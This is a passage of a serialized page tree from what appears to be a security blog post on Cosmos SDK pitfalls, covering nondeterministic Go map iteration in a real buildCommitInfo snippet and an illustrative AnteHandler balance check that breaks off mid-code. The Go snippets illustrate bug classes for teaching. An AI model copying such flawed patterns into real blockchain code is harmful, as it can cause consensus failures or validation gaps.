,"props":84690,"children":84691},{"style":288},[84692],{"type":29,"value":84305},{"type":24,"tag":271,"props":84694,"children":84695},{"class":273,"line":411},[84696],{"type":24,"tag":271,"props":84697,"children":84698},{"style":288},[84699],{"type":29,"value":75108},{"type":24,"tag":271,"props":84701,"children":84702},{"class":273,"line":420},[84703],{"type":24,"tag":271,"props":84704,"children":84705},{"style":288},[84706],{"type":29,"value":4385},{"type":24,"tag":271,"props":84708,"children":84709},{"class":273,"line":429},[84710],{"type":24,"tag":271,"props":84711,"children":84712},{"style":288},[84713],{"type":29,"value":1171},{"type":24,"tag":25,"props":84715,"children":84716},{},[84717],{"type":29,"value":84718},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":24,"tag":85,"props":84720,"children":84722},{"id":84721},"real-world-examples-1",[84723],{"type":29,"value":83479},{"type":24,"tag":25,"props":84725,"children":84726},{},[84727,84729,84734,84736,84742,84744,84750,84752,84758],{"type":29,"value":84728},"Real-world examples of ",{"type":24,"tag":135,"props":84730,"children":84732},{"className":84731},[],[84733],{"type":29,"value":73889},{"type":29,"value":84735}," causing determinism problems can be found ",{"type":24,"tag":32,"props":84737,"children":84740},{"href":84738,"rel":84739},"https://github.com/cosmos/cosmos-sdk/pull/12487",[36],[84741],{"type":29,"value":55251},{"type":29,"value":84743},", specifically, where the result of ",{"type":24,"tag":135,"props":84745,"children":84747},{"className":84746},[],[84748],{"type":29,"value":84749},"buildCommitInfo",{"type":29,"value":84751}," is inconsistent due to iteration over the ",{"type":24,"tag":135,"props":84753,"children":84755},{"className":84754},[],[84756],{"type":29,"value":84757},"rs.stores",{"type":29,"value":84759}," map.",{"type":24,"tag":25,"props":84761,"children":84762},{},[84763],{"type":24,"tag":32,"props":84764,"children":84767},{"href":84765,"rel":84766},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[36],[84768],{"type":29,"value":83529},{"type":24,"tag":261,"props":84770,"children":84772},{"code":84771,"language":82954,"meta":7,"className":82955,"style":7},"func (rs *Store) buildCommitInfo(\n version int64\n) *types.CommitInfo {\n storeInfos := []types.StoreInfo{}\n for key, store := range rs.stores {\n if store.GetStoreType() == types.StoreTypeTransient {\n continue\n }\n storeInfos = append(storeInfos, types.StoreInfo{\n Name: key.Name(),\n CommitId: store.LastCommitID(),\n })\n }\n return &types.CommitInfo{\n Version: version,\n StoreInfos: storeInfos,\n }\n}\n",[84773],{"type":24,"tag":135,"props":84774,"children":84775},{"__ignoreMap":7},[84776,84813,84826,84854,84888,84933,84979,84987,84994,85039,85069,85098,85105,85112,85139,85161,85181,85188],{"type":24,"tag":271,"props":84777,"children":84778},{"class":273,"line":274},[84779,84783,84787,84792,84796,84801,84805,84809],{"type":24,"tag":271,"props":84780,"children":84781},{"style":278},[84782],{"type":29,"value":83090},{"type":24,"tag":271,"props":84784,"children":84785},{"style":288},[84786],{"type":29,"value":1357},{"type":24,"tag":271,"props":84788,"children":84789},{"style":630},[84790],{"type":29,"value":84791},"rs ",{"type":24,"tag":271,"props":84793,"children":84794},{"style":624},[84795],{"type":29,"value":627},{"type":24,"tag":271,"props":84797,"children":84798},{"style":3887},[84799],{"type":29,"value":84800},"Store",{"type":24,"tag":271,"props":84802,"children":84803},{"style":288},[84804],{"type":29,"value":8823},{"type":24,"tag":271,"props":84806,"children":84807},{"style":598},[84808],{"type":29,"value":84749},{"type":24,"tag":271,"props":84810,"children":84811},{"style":288},[84812],{"type":29,"value":4028},{"type":24,"tag":271,"props":84814,"children":84815},{"class":273,"line":284},[84816,84821],{"type":24,"tag":271,"props":84817,"children":84818},{"style":630},[84819],{"type":29,"value":84820}," version",{"type":24,"tag":271,"props":84822,"children":84823},{"style":3887},[84824],{"type":29,"value":84825}," int64\n",{"type":24,"tag":271,"props":84827,"children":84828},{"class":273,"line":294},[84829,84833,84837,84841,84845,84850],{"type":24,"tag":271,"props":84830,"children":84831},{"style":288},[84832],{"type":29,"value":8823},{"type":24,"tag":271,"props":84834,"children":84835},{"style":624},[84836],{"type":29,"value":627},{"type":24,"tag":271,"props":84838,"children":84839},{"style":3887},[84840],{"type":29,"value":13476},{"type":24,"tag":271,"props":84842,"children":84843},{"style":288},[84844],{"type":29,"value":41},{"type":24,"tag":271,"props":84846,"children":84847},{"style":3887},[84848],{"type":29,"value":84849},"CommitInfo",{"type":24,"tag":271,"props":84851,"children":84852},{"style":288},[84853],{"type":29,"value":7145},{"type":24,"tag":271,"props":84855,"children":84856},{"class":273,"line":303},[84857,84862,84866,84870,84874,84878,84883],{"type":24,"tag":271,"props":84858,"children":84859},{"style":630},[84860],{"type":29,"value":84861}," storeInfos",{"type":24,"tag":271,"props":84863,"children":84864},{"style":624},[84865],{"type":29,"value":83206},{"type":24,"tag":271,"props":84867,"children":84868},{"style":288},[84869],{"type":29,"value":83017},{"type":24,"tag":271,"props":84871,"children":84872},{"style":3887},[84873],{"type":29,"value":13476},{"type":24,"tag":271,"props":84875,"children":84876},{"style":288},[84877],{"type":29,"value":41},{"type":24,"tag":271,"props":84879,"children":84880},{"style":3887},[84881],{"type":29,"value":84882},"StoreInfo",{"type":24,"tag":271,"props":84884,"children":84885},{"style":288},[84886],{"type":29,"value":84887},"{}\n",{"type":24,"tag":271,"props":84889,"children":84890},{"class":273,"line":312},[84891,84895,84899,84903,84907,84911,84915,84920,84924,84929],{"type":24,"tag":271,"props":84892,"children":84893},{"style":749},[84894],{"type":29,"value":4149},{"type":24,"tag":271,"props":84896,"children":84897},{"style":630},[84898],{"type":29,"value":13648},{"type":24,"tag":271,"props":84900,"children":84901},{"style":288},[84902],{"type":29,"value":158},{"type":24,"tag":271,"props":84904,"children":84905},{"style":630},[84906],{"type":29,"value":13657},{"type":24,"tag":271,"props":84908,"children":84909},{"style":624},[84910],{"type":29,"value":83206},{"type":24,"tag":271,"props":84912,"children":84913},{"style":749},[84914],{"type":29,"value":84189},{"type":24,"tag":271,"props":84916,"children":84917},{"style":630},[84918],{"type":29,"value":84919}," rs",{"type":24,"tag":271,"props":84921,"children":84922},{"style":288},[84923],{"type":29,"value":41},{"type":24,"tag":271,"props":84925,"children":84926},{"style":630},[84927],{"type":29,"value":84928},"stores",{"type":24,"tag":271,"props":84930,"children":84931},{"style":288},[84932],{"type":29,"value":7145},{"type":24,"tag":271,"props":84934,"children":84935},{"class":273,"line":321},[84936,84940,84944,84948,84953,84957,84961,84966,84970,84975],{"type":24,"tag":271,"props":84937,"children":84938},{"style":749},[84939],{"type":29,"value":7512},{"type":24,"tag":271,"props":84941,"children":84942},{"style":630},[84943],{"type":29,"value":13547},{"type":24,"tag":271,"props":84945,"children":84946},{"style":288},[84947],{"type":29,"value":41},{"type":24,"tag":271,"props":84949,"children":84950},{"style":598},[84951],{"type":29,"value":84952},"GetStoreType",{"type":24,"tag":271,"props":84954,"children":84955},{"style":288},[84956],{"type":29,"value":21742},{"type":24,"tag":271,"props":84958,"children":84959},{"style":624},[84960],{"type":29,"value":5059},{"type":24,"tag":271,"props":84962,"children":84963},{"style":630},[84964],{"type":29,"value":84965}," types",{"type":24,"tag":271,"props":84967,"children":84968},{"style":288},[84969],{"type":29,"value":41},{"type":24,"tag":271,"props":84971,"children":84972},{"style":630},[84973],{"type":29,"value":84974},"StoreTypeTransient",{"type":24,"tag":271,"props":84976,"children":84977},{"style":288},[84978],{"type":29,"value":7145},{"type":24,"tag":271,"props":84980,"children":84981},{"class":273,"line":330},[84982],{"type":24,"tag":271,"props":84983,"children":84984},{"style":749},[84985],{"type":29,"value":84986}," continue\n",{"type":24,"tag":271,"props":84988,"children":84989},{"class":273,"line":339},[84990],{"type":24,"tag":271,"props":84991,"children":84992},{"style":288},[84993],{"type":29,"value":7574},{"type":24,"tag":271,"props":84995,"children":84996},{"class":273,"line":347},[84997,85002,85006,85010,85014,85019,85023,85027,85031,85035],{"type":24,"tag":271,"props":84998,"children":84999},{"style":630},[85000],{"type":29,"value":85001}," storeInfos",{"type":24,"tag":271,"props":85003,"children":85004},{"style":624},[85005],{"type":29,"value":1712},{"type":24,"tag":271,"props":85007,"children":85008},{"style":598},[85009],{"type":29,"value":84486},{"type":24,"tag":271,"props":85011,"children":85012},{"style":288},[85013],{"type":29,"value":606},{"type":24,"tag":271,"props":85015,"children":85016},{"style":630},[85017],{"type":29,"value":85018},"storeInfos",{"type":24,"tag":271,"props":85020,"children":85021},{"style":288},[85022],{"type":29,"value":158},{"type":24,"tag":271,"props":85024,"children":85025},{"style":3887},[85026],{"type":29,"value":13476},{"type":24,"tag":271,"props":85028,"children":85029},{"style":288},[85030],{"type":29,"value":41},{"type":24,"tag":271,"props":85032,"children":85033},{"style":3887},[85034],{"type":29,"value":84882},{"type":24,"tag":271,"props":85036,"children":85037},{"style":288},[85038],{"type":29,"value":702},{"type":24,"tag":271,"props":85040,"children":85041},{"class":273,"line":356},[85042,85047,85052,85056,85060,85065],{"type":24,"tag":271,"props":85043,"children":85044},{"style":630},[85045],{"type":29,"value":85046}," Name",{"type":24,"tag":271,"props":85048,"children":85049},{"style":288},[85050],{"type":29,"value":85051},": ",{"type":24,"tag":271,"props":85053,"children":85054},{"style":630},[85055],{"type":29,"value":78944},{"type":24,"tag":271,"props":85057,"children":85058},{"style":288},[85059],{"type":29,"value":41},{"type":24,"tag":271,"props":85061,"children":85062},{"style":598},[85063],{"type":29,"value":85064},"Name",{"type":24,"tag":271,"props":85066,"children":85067},{"style":288},[85068],{"type":29,"value":11217},{"type":24,"tag":271,"props":85070,"children":85071},{"class":273,"line":365},[85072,85077,85081,85085,85089,85094],{"type":24,"tag":271,"props":85073,"children":85074},{"style":630},[85075],{"type":29,"value":85076}," CommitId",{"type":24,"tag":271,"props":85078,"children":85079},{"style":288},[85080],{"type":29,"value":23028},{"type":24,"tag":271,"props":85082,"children":85083},{"style":630},[85084],{"type":29,"value":13657},{"type":24,"tag":271,"props":85086,"children":85087},{"style":288},[85088],{"type":29,"value":41},{"type":24,"tag":271,"props":85090,"children":85091},{"style":598},[85092],{"type":29,"value":85093},"LastCommitID",{"type":24,"tag":271,"props":85095,"children":85096},{"style":288},[85097],{"type":29,"value":11217},{"type":24,"tag":271,"props":85099,"children":85100},{"class":273,"line":374},[85101],{"type":24,"tag":271,"props":85102,"children":85103},{"style":288},[85104],{"type":29,"value":74985},{"type":24,"tag":271,"props":85106,"children":85107},{"class":273,"line":384},[85108],{"type":24,"tag":271,"props":85109,"children":85110},{"style":288},[85111],{"type":29,"value":4385},{"type":24,"tag":271,"props":85113,"children":85114},{"class":273,"line":393},[85115,85119,85123,85127,85131,85135],{"type":24,"tag":271,"props":85116,"children":85117},{"style":749},[85118],{"type":29,"value":9640},{"type":24,"tag":271,"props":85120,"children":85121},{"style":624},[85122],{"type":29,"value":14858},{"type":24,"tag":271,"props":85124,"children":85125},{"style":3887},[85126],{"type":29,"value":13476},{"type":24,"tag":271,"props":85128,"children":85129},{"style":288},[85130],{"type":29,"value":41},{"type":24,"tag":271,"props":85132,"children":85133},{"style":3887},[85134],{"type":29,"value":84849},{"type":24,"tag":271,"props":85136,"children":85137},{"style":288},[85138],{"type":29,"value":702},{"type":24,"tag":271,"props":85140,"children":85141},{"class":273,"line":402},[85142,85147,85152,85157],{"type":24,"tag":271,"props":85143,"children":85144},{"style":630},[85145],{"type":29,"value":85146}," Version",{"type":24,"tag":271,"props":85148,"children":85149},{"style":288},[85150],{"type":29,"value":85151},": ",{"type":24,"tag":271,"props":85153,"children":85154},{"style":630},[85155],{"type":29,"value":85156},"version",{"type":24,"tag":271,"props":85158,"children":85159},{"style":288},[85160],{"type":29,"value":638},{"type":24,"tag":271,"props":85162,"children":85163},{"class":273,"line":411},[85164,85169,85173,85177],{"type":24,"tag":271,"props":85165,"children":85166},{"style":630},[85167],{"type":29,"value":85168}," StoreInfos",{"type":24,"tag":271,"props":85170,"children":85171},{"style":288},[85172],{"type":29,"value":23028},{"type":24,"tag":271,"props":85174,"children":85175},{"style":630},[85176],{"type":29,"value":85018},{"type":24,"tag":271,"props":85178,"children":85179},{"style":288},[85180],{"type":29,"value":638},{"type":24,"tag":271,"props":85182,"children":85183},{"class":273,"line":420},[85184],{"type":24,"tag":271,"props":85185,"children":85186},{"style":288},[85187],{"type":29,"value":4385},{"type":24,"tag":271,"props":85189,"children":85190},{"class":273,"line":429},[85191],{"type":24,"tag":271,"props":85192,"children":85193},{"style":288},[85194],{"type":29,"value":1171},{"type":24,"tag":25,"props":85196,"children":85197},{},[85198,85200,85207,85208,85215],{"type":29,"value":85199},"Other factors contributing to determinism issues are the usage of ",{"type":24,"tag":32,"props":85201,"children":85204},{"href":85202,"rel":85203},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[36],[85205],{"type":29,"value":85206},"time-sensitive functions",{"type":29,"value":518},{"type":24,"tag":32,"props":85209,"children":85212},{"href":85210,"rel":85211},"https://github.com/cosmos/cosmos-sdk/issues/16638",[36],[85213],{"type":29,"value":85214},"race conditions",{"type":29,"value":41},{"type":24,"tag":62,"props":85217,"children":85219},{"id":85218},"thou-shalt-not-passor-should-you",[85220],{"type":29,"value":85221},"Thou Shalt Not Pass...Or Should You?",{"type":24,"tag":25,"props":85223,"children":85224},{},[85225,85227,85233,85234,85240],{"type":29,"value":85226},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":24,"tag":135,"props":85228,"children":85230},{"className":85229},[],[85231],{"type":29,"value":85232},"msg.value",{"type":29,"value":158},{"type":24,"tag":135,"props":85235,"children":85237},{"className":85236},[],[85238],{"type":29,"value":85239},"msg.sender",{"type":29,"value":85241},", and collecting transaction fees) to the underlying blockchain.",{"type":24,"tag":25,"props":85243,"children":85244},{},[85245,85247,85253,85255,85261],{"type":29,"value":85246},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":24,"tag":135,"props":85248,"children":85250},{"className":85249},[],[85251],{"type":29,"value":85252},"Cosmos-SDK",{"type":29,"value":85254}," introduces ",{"type":24,"tag":135,"props":85256,"children":85258},{"className":85257},[],[85259],{"type":29,"value":85260},"AnteHandler",{"type":29,"value":85262}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":24,"tag":25,"props":85264,"children":85265},{},[85266,85268,85273,85275,85280],{"type":29,"value":85267},"To provide context, let's first understand how an ",{"type":24,"tag":135,"props":85269,"children":85271},{"className":85270},[],[85272],{"type":29,"value":85260},{"type":29,"value":85274}," is processed. Each ",{"type":24,"tag":135,"props":85276,"children":85278},{"className":85277},[],[85279],{"type":29,"value":85260},{"type":29,"value":85281}," is a state transition function that can:",{"type":24,"tag":3834,"props":85283,"children":85284},{},[85285,85290],{"type":24,"tag":101,"props":85286,"children":85287},{},[85288],{"type":29,"value":85289},"Transform the block state in relation to transaction and execution context.",{"type":24,"tag":101,"props":85291,"children":85292},{},[85293,85295],{"type":29,"value":85294},"Determine the course of action for the transaction.\n",{"type":24,"tag":3834,"props":85296,"children":85297},{},[85298,85309],{"type":24,"tag":101,"props":85299,"children":85300},{},[85301,85303,85308],{"type":29,"value":85302},"Pass the transaction to the next ",{"type":24,"tag":135,"props":85304,"children":85306},{"className":85305},[],[85307],{"type":29,"value":85260},{"type":29,"value":41},{"type":24,"tag":101,"props":85310,"children":85311},{},[85312],{"type":29,"value":85313},"Return error for transaction.",{"type":24,"tag":25,"props":85315,"children":85316},{},[85317,85319,85324],{"type":29,"value":85318},"The bad news is that developing an ",{"type":24,"tag":135,"props":85320,"children":85322},{"className":85321},[],[85323],{"type":29,"value":85260},{"type":29,"value":85325}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":24,"tag":25,"props":85327,"children":85328},{},[85329,85330,85336],{"type":29,"value":1422},{"type":24,"tag":135,"props":85331,"children":85333},{"className":85332},[],[85334],{"type":29,"value":85335},"AnteHandle",{"type":29,"value":85337}," implementation may look something like this:",{"type":24,"tag":261,"props":85339,"children":85341},{"code":85340,"language":82954,"meta":7,"className":82955,"style":7},"const (\n MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n ctx sdk.Context,\n tx sdk.Tx,\n simulate bool,\n next sdk.AnteHandler,\n) (sdk.Context, error) {\n sigTx, ok := tx.(authsigning.SigVerifiableTx)\n if !ok {\n return ctx, errorsmod.Wrap(\n sdkerrors.ErrTxDecode,\n \"invalid tx type\",\n )\n }\n\n signers := sigTx.GetSigners()\n for i, signer := range signers {\n balance := abd.bk.getBalance(ctx, signer, ATOM)\n if balance.Amount \u003C MIN_BALANCE {\n return ctx, errorsmod.Wrap(\n ErrInsufficientBalance,\n \"Insufficient Balance\",\n )\n }\n }\n\n return next(ctx, tx, simulate)\n}\n",[85342],{"type":24,"tag":135,"props":85343,"children":85344},{"__ignoreMap":7},[85345,85357,85373,85380,85387,85420,85444,85469,85485,85509,85541,85589,85608,85641,85662,85674,85681,85688,85695,85725,85761,85825,85859,85891,85903,85915,85922,85929,85936,85943,85985],{"type":24,"tag":271,"props":85346,"children":85347},{"class":273,"line":274},[85348,85352],{"type":24,"tag":271,"props":85349,"children":85350},{"style":278},[85351],{"type":29,"value":611},{"type":24,"tag":271,"props":85353,"children":85354},{"style":288},[85355],{"type":29,"value":85356}," (\n",{"type":24,"tag":271,"props":85358,"children":85359},{"class":273,"line":284},[85360,85365,85369],{"type":24,"tag":271,"props":85361,"children":85362},{"style":630},[85363],{"type":29,"value":85364}," MIN_BALANCE",{"type":24,"tag":271,"props":85366,"children":85367},{"style":624},[85368],{"type":29,"value":1712},{"type":24,"tag":271,"props":85370,"children":85371},{"style":477},[85372],{"type":29,"value":27031},{"type":24,"tag":271,"props":85374,"children":85375},{"class":273,"line":294},[85376],{"type":24,"tag":271,"props":85377,"children":85378},{"style":288},[85379],{"type":29,"value":694},{"type":24,"tag":271,"props":85381,"children":85382},{"class":273,"line":303},[85383],{"type":24,"tag":271,"props":85384,"children":85385},{"emptyLinePlaceholder":16},[85386],{"type":29,"value":327},{"type":24,"tag":271,"props":85388,"children":85389},{"class":273,"line":312},[85390,85394,85398,85403,85408,85412,85416],{"type":24,"tag":271,"props":85391,"children":85392},{"style":278},[85393],{"type":29,"value":83090},{"type":24,"tag":271,"props":85395,"children":85396},{"style":288},[85397],{"type":29,"value":1357},{"type":24,"tag":271,"props":85399,"children":85400},{"style":630},[85401],{"type":29,"value":85402},"abd ",{"type":24,"tag":271,"props":85404,"children":85405},{"style":3887},[85406],{"type":29,"value":85407},"AccountBalanceDecorator",{"type":24,"tag":271,"props":85409,"children":85410},{"style":288},[85411],{"type":29,"value":8823},{"type":24,"tag":271,"props":85413,"children":85414},{"style":598},[85415],{"type":29,"value":85335},{"type":24,"tag":271,"props":85417,"children":85418},{"style":288},[85419],{"type":29,"value":4028},{"type":24,"tag":271,"props":85421,"children":85422},{"class":273,"line":321},[85423,85427,85432,85436,85440],{"type":24,"tag":271,"props":85424,"children":85425},{"style":630},[85426],{"type":29,"value":27912},{"type":24,"tag":271,"props":85428,"children":85429},{"style":3887},[85430],{"type":29,"value":85431}," sdk",{"type":24,"tag":271,"props":85433,"children":85434},{"style":288},[85435],{"type":29,"value":41},{"type":24,"tag":271,"props":85437,"children":85438},{"style":3887},[85439],{"type":29,"value":83139},{"type":24,"tag":271,"props":85441,"children":85442},{"style":288},[85443],{"type":29,"value":638},{"type":24,"tag":271,"props":85445,"children":85446},{"class":273,"line":330},[85447,85452,85456,85460,85465],{"type":24,"tag":271,"props":85448,"children":85449},{"style":630},[85450],{"type":29,"value":85451}," tx",{"type":24,"tag":271,"props":85453,"children":85454},{"style":3887},[85455],{"type":29,"value":85431},{"type":24,"tag":271,"props":85457,"children":85458},{"style":288},[85459],{"type":29,"value":41},{"type":24,"tag":271,"props":85461,"children":85462},{"style":3887},[85463],{"type":29,"value":85464},"Tx",{"type":24,"tag":271,"props":85466,"children":85467},{"style":288},[85468],{"type":29,"value":638},{"type":24,"tag":271,"props":85470,"children":85471},{"class":273,"line":339},[85472,85477,85481],{"type":24,"tag":271,"props":85473,"children":85474},{"style":630},[85475],{"type":29,"value":85476}," simulate",{"type":24,"tag":271,"props":85478,"children":85479},{"style":3887},[85480],{"type":29,"value":19753},{"type":24,"tag":271,"props":85482,"children":85483},{"style":288},[85484],{"type":29,"value":638},{"type":24,"tag":271,"props":85486,"children":85487},{"class":273,"line":347},[85488,85493,85497,85501,85505],{"type":24,"tag":271,"props":85489,"children":85490},{"style":630},[85491],{"type":29,"value":85492}," next",{"type":24,"tag":271,"props":85494,"children":85495},{"style":3887},[85496],{"type":29,"value":85431},{"type":24,"tag":271,"props":85498,"children":85499},{"style":288},[85500],{"type":29,"value":41},{"type":24,"tag":271,"props":85502,"children":85503},{"style":3887},[85504],{"type":29,"value":85260},{"type":24,"tag":271,"props":85506,"children":85507},{"style":288},[85508],{"type":29,"value":638},{"type":24,"tag":271,"props":85510,"children":85511},{"class":273,"line":356},[85512,85516,85521,85525,85529,85533,85537],{"type":24,"tag":271,"props":85513,"children":85514},{"style":288},[85515],{"type":29,"value":83172},{"type":24,"tag":271,"props":85517,"children":85518},{"style":3887},[85519],{"type":29,"value":85520},"sdk",{"type":24,"tag":271,"props":85522,"children":85523},{"style":288},[85524],{"type":29,"value":41},{"type":24,"tag":271,"props":85526,"children":85527},{"style":3887},[85528],{"type":29,"value":83139},{"type":24,"tag":271,"props":85530,"children":85531},{"style":288},[85532],{"type":29,"value":158},{"type":24,"tag":271,"props":85534,"children":85535},{"style":3887},[85536],{"type":29,"value":22561},{"type":24,"tag":271,"props":85538,"children":85539},{"style":288},[85540],{"type":29,"value":919},{"type":24,"tag":271,"props":85542,"children":85543},{"class":273,"line":365},[85544,85549,85553,85558,85562,85566,85571,85576,85580,85585],{"type":24,"tag":271,"props":85545,"children":85546},{"style":630},[85547],{"type":29,"value":85548}," sigTx",{"type":24,"tag":271,"props":85550,"children":85551},{"style":288},[85552],{"type":29,"value":158},{"type":24,"tag":271,"props":85554,"children":85555},{"style":630},[85556],{"type":29,"value":85557},"ok",{"type":24,"tag":271,"props":85559,"children":85560},{"style":624},[85561],{"type":29,"value":83206},{"type":24,"tag":271,"props":85563,"children":85564},{"style":630},[85565],{"type":29,"value":74815},{"type":24,"tag":271,"props":85567,"children":85568},{"style":288},[85569],{"type":29,"value":85570},".(",{"type":24,"tag":271,"props":85572,"children":85573},{"style":3887},[85574],{"type":29,"value":85575},"authsigning",{"type":24,"tag":271,"props":85577,"children":85578},{"style":288},[85579],{"type":29,"value":41},{"type":24,"tag":271,"props":85581,"children":85582},{"style":3887},[85583],{"type":29,"value":85584},"SigVerifiableTx",{"type":24,"tag":271,"props":85586,"children":85587},{"style":288},[85588],{"type":29,"value":694},{"type":24,"tag":271,"props":85590,"children":85591},{"class":273,"line":374},[85592,85596,85600,85604],{"type":24,"tag":271,"props":85593,"children":85594},{"style":749},[85595],{"type":29,"value":5025},{"type":24,"tag":271,"props":85597,"children":85598},{"style":624},[85599],{"type":29,"value":20564},{"type":24,"tag":271,"props":85601,"children":85602},{"style":630},[85603],{"type":29,"value":85557},{"type":24,"tag":271,"props":85605,"children":85606},{"style":288},[85607],{"type":29,"value":7145},{"type":24,"tag":271,"props":85609,"children":85610},{"class":273,"line":384},[85611,85615,85619,85623,85628,85632,85637],{"type":24,"tag":271,"props":85612,"children":85613},{"style":749},[85614],{"type":29,"value":8905},{"type":24,"tag":271,"props":85616,"children":85617},{"style":630},[85618],{"type":29,"value":33519},{"type":24,"tag":271,"props":85620,"children":85621},{"style":288},[85622],{"type":29,"value":158},{"type":24,"tag":271,"props":85624,"children":85625},{"style":630},[85626],{"type":29,"value":85627},"errorsmod",{"type":24,"tag":271,"props":85629,"children":85630},{"style":288},[85631],{"type":29,"value":41},{"type":24,"tag":271,"props":85633,"children":85634},{"style":598},[85635],{"type":29,"value":85636},"Wrap",{"type":24,"tag":271,"props":85638,"children":85639},{"style":288},[85640],{"type":29,"value":4028},{"type":24,"tag":271,"props":85642,"children":85643},{"class":273,"line":393},[85644,85649,85653,85658],{"type":24,"tag":271,"props":85645,"children":85646},{"style":630},[85647],{"type":29,"value":85648}," sdkerrors",{"type":24,"tag":271,"props":85650,"children":85651},{"style":288},[85652],{"type":29,"value":41},{"type":24,"tag":271,"props":85654,"children":85655},{"style":630},[85656],{"type":29,"value":85657},"ErrTxDecode",{"type":24,"tag":271,"props":85659,"children":85660},{"style":288},[85661],{"type":29,"value":638},{"type":24,"tag":271,"props":85663,"children":85664},{"class":273,"line":402},[85665,85670],{"type":24,"tag":271,"props":85666,"children":85667},{"style":378},[85668],{"type":29,"value":85669}," \"invalid tx type\"",{"type":24,"tag":271,"props":85671,"children":85672},{"style":288},[85673],{"type":29,"value":638},{"type":24,"tag":271,"props":85675,"children":85676},{"class":273,"line":411},[85677],{"type":24,"tag":271,"props":85678,"children":85679},{"style":288},[85680],{"type":29,"value":75108},{"type":24,"tag":271,"props":85682,"children":85683},{"class":273,"line":420},[85684],{"type":24,"tag":271,"props":85685,"children":85686},{"style":288},[85687],{"type":29,"value":4385},{"type":24,"tag":271,"props":85689,"children":85690},{"class":273,"line":429},[85691],{"type":24,"tag":271,"props":85692,"children":85693},{"emptyLinePlaceholder":16},[85694],{"type":29,"value":327},{"type":24,"tag":271,"props":85696,"children":85697},{"class":273,"line":438},[85698,85703,85707,85712,85716,85721],{"type":24,"tag":271,"props":85699,"children":85700},{"style":630},[85701],{"type":29,"value":85702}," signers",{"type":24,"tag":271,"props":85704,"children":85705},{"style":624},[85706],{"type":29,"value":83206},{"type":24,"tag":271,"props":85708,"children":85709},{"style":630},[85710],{"type":29,"value":85711}," sigTx",{"type":24,"tag":271,"props":85713,"children":85714},{"style":288},[85715],{"type":29,"value":41},{"type":24,"tag":271,"props":85717,"children":85718},{"style":598},[85719],{"type":29,"value":85720},"GetSigners",{"type":24,"tag":271,"props":85722,"children":85723},{"style":288},[85724],{"type":29,"value":15452},{"type":24,"tag":271,"props":85726,"children":85727},{"class":273,"line":447},[85728,85732,85736,85740,85744,85748,85752,85757],{"type":24,"tag":271,"props":85729,"children":85730},{"style":749},[85731],{"type":29,"value":4149},{"type":24,"tag":271,"props":85733,"children":85734},{"style":630},[85735],{"type":29,"value":11125},{"type":24,"tag":271,"props":85737,"children":85738},{"style":288},[85739],{"type":29,"value":158},{"type":24,"tag":271,"props":85741,"children":85742},{"style":630},[85743],{"type":29,"value":14863},{"type":24,"tag":271,"props":85745,"children":85746},{"style":624},[85747],{"type":29,"value":83206},{"type":24,"tag":271,"props":85749,"children":85750},{"style":749},[85751],{"type":29,"value":84189},{"type":24,"tag":271,"props":85753,"children":85754},{"style":630},[85755],{"type":29,"value":85756}," signers",{"type":24,"tag":271,"props":85758,"children":85759},{"style":288},[85760],{"type":29,"value":7145},{"type":24,"tag":271,"props":85762,"children":85763},{"class":273,"line":455},[85764,85769,85773,85778,85782,85787,85791,85796,85800,85804,85808,85812,85816,85821],{"type":24,"tag":271,"props":85765,"children":85766},{"style":630},[85767],{"type":29,"value":85768}," balance",{"type":24,"tag":271,"props":85770,"children":85771},{"style":624},[85772],{"type":29,"value":83206},{"type":24,"tag":271,"props":85774,"children":85775},{"style":630},[85776],{"type":29,"value":85777}," abd",{"type":24,"tag":271,"props":85779,"children":85780},{"style":288},[85781],{"type":29,"value":41},{"type":24,"tag":271,"props":85783,"children":85784},{"style":630},[85785],{"type":29,"value":85786},"bk",{"type":24,"tag":271,"props":85788,"children":85789},{"style":288},[85790],{"type":29,"value":41},{"type":24,"tag":271,"props":85792,"children":85793},{"style":598},[85794],{"type":29,"value":85795},"getBalance",{"type":24,"tag":271,"props":85797,"children":85798},{"style":288},[85799],{"type":29,"value":606},{"type":24,"tag":271,"props":85801,"children":85802},{"style":630},[85803],{"type":29,"value":633},{"type":24,"tag":271,"props":85805,"children":85806},{"style":288},[85807],{"type":29,"value":158},{"type":24,"tag":271,"props":85809,"children":85810},{"style":630},[85811],{"type":29,"value":14863},{"type":24,"tag":271,"props":85813,"children":85814},{"style":288},[85815],{"type":29,"value":158},{"type":24,"tag":271,"props":85817,"children":85818},{"style":630},[85819],{"type":29,"value":85820},"ATOM",{"type":24,"tag":271,"props":85822,"children":85823},{"style":288},[85824],{"type":29,"value":694},{"type":24,"tag":271,"props":85826,"children":85827},{"class":273,"line":464},[85828,85832,85837,85841,85846,85850,85855],{"type":24,"tag":271,"props":85829,"children":85830},{"style":749},[85831],{"type":29,"value":7512},{"type":24,"tag":271,"props":85833,"children":85834},{"style":630},[85835],{"type":29,"value":85836}," balance",{"type":24,"tag":271,"props":85838,"children":85839},{"style":288},[85840],{"type":29,"value":41},{"type":24,"tag":271,"props":85842,"children":85843},{"style":630},[85844],{"type":29,"value":85845},"Amount",{"type":24,"tag":271,"props":85847,"children":85848},{"style":624},[85849],{"type":29,"value":16432},{"type":24,"tag":271,"props":85851,"children":85852},{"style":630},[85853],{"type":29,"value":85854}," MIN_BALANCE",{"type":24,"tag":271,"props":85856,"children":85857},{"style":288},[85858],{"type":29,"value":7145},{"type":24,"tag":271,"props":85860,"children":85861},{"class":273,"line":473},[85862,85867,85871,85875,85879,85883,85887],{"type":24,"tag":271,"props":85863,"children":85864},{"style":749},[85865],{"type":29,"value":85866}," 